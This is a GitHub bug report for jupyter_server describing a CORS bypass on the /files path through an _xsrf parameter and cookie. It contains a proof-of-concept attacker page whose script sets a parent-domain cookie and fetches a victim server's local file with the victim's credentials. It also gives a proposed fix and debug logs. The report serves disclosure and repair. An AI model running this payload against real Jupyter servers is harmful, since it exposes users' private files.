jupyter_server
jupyter_server copied to clipboard
CORS is not checked when browsing files.
Description
When using JupyterLab + jupyter_server
an attacker can pass a redirect using _xsrf HTTP param and cookie to bypass CORS checks (c.ServerApp.allow_origin_pat
). Using jupyter-server 2.14.2
. Redirect provides access to /files
path
Reproduce
Scenario:
Jupyter Server 1 (myjupyterserver1.mydomain.com
) - Attacker
sudo su
cd /opt/conda/share/jupyter/lab/static
mv index.html index.html.bak
vim index.html
Edit index.html
<html>
<body>
<script>
var notebook_domain = "" //example: myjupyterserver1.mydomain.com
var file_path = "/test.txt" // a Local file in c.ServerApp.root_dir
var base_domain = document.domain.substr(document.domain.indexOf('.'));
document.cookie='_xsrf=1;Domain='+base_domain;
fetch("https://"+notebook_domain+"/files"+file_path+"?_xsrf=1", {mode: "cors", credentials: "include"}).then(response => response.text()).then(text => {console.log(text)});
</script>
</body>
</html>
c.NotebookApp.open_browser = False
c.ServerApp.token = ""
c.ServerApp.password = ""
c.ServerApp.port = 8082
c.ServerApp.allow_remote_access = True
c.ServerApp.root_dir = "/Users/gogasca/Documents"
c.Application.log_level = 0
c.NotebookApp.disable_check_xsrf = False
c.ServerApp.allow_origin_pat = "https:\/\/myjupyterserver2\\.mydomain\\.com"
- Jupyter Server 2 (
myjupyterserver2.mydomain.com
)
Attacker gives victim myjupyterserver1.mydomain.com
which redirects to himself and bypass CORS checks.
Expected behavior
CORS logic is executed.c.ServerApp.allow_origin_pat
is verified.
I tried to reproduce with local Jupyter but unable to do so. (local Jupyter 127.0.0.1:8081 and 127.0.0.1:8082), as I think _xsrf=1 cookie is not passed.
I reproduced using Jupyter Server behind a Proxy.
Context
- Operating System and version:
- Browser and version:
- Jupyter Server version:
Bug here:
https://github.com/jupyter-server/jupyter_server/blob/main/jupyter_server/base/handlers.py#L537 https://github.com/tornadoweb/tornado/blob/master/tornado/web.py#L1619
Potential fix add check_origin()
method. Fix worked in lab. super().check_xsrf_cookie()
is calling tornado.
try:
if not self.check_origin():
raise web.HTTPError(404)
return super().check_xsrf_cookie()
...
Troubleshoot Output
Request is not blocked even when c.ServerApp.allow_origin_pat
is configured correctly.
Paste the output from running `jupyter troubleshoot` from the command line here. You may want to sanitize the paths in the output.
Command Line Output
I added extra debugs:
[D 2024-09-21 04:57:41.338 ServerApp] Generating new user for token-authenticated request: 6d852c7674ce45aca215c16b1e99fd57 [I 2024-09-21 04:57:41.338 ServerApp] Get AuthenticatedFileHandler [I 2024-09-21 04:57:41.338 ServerApp] check_xsrf_cookie [D 2024-09-21 04:57:41.338 ServerApp] is_token_authenticated [D 2024-09-21 04:57:41.338 ServerApp] False [I 2024-09-21 04:57:41.338 ServerApp] super().check_xsrf_cookie [D 2024-09-21 04:57:41.339 ServerApp] 200 GET /files/src/localfile.txt?_xsrf=[secret] ([email protected]) 1.91ms
Browser Output
Paste the output from your browser Javascript console here, if applicable.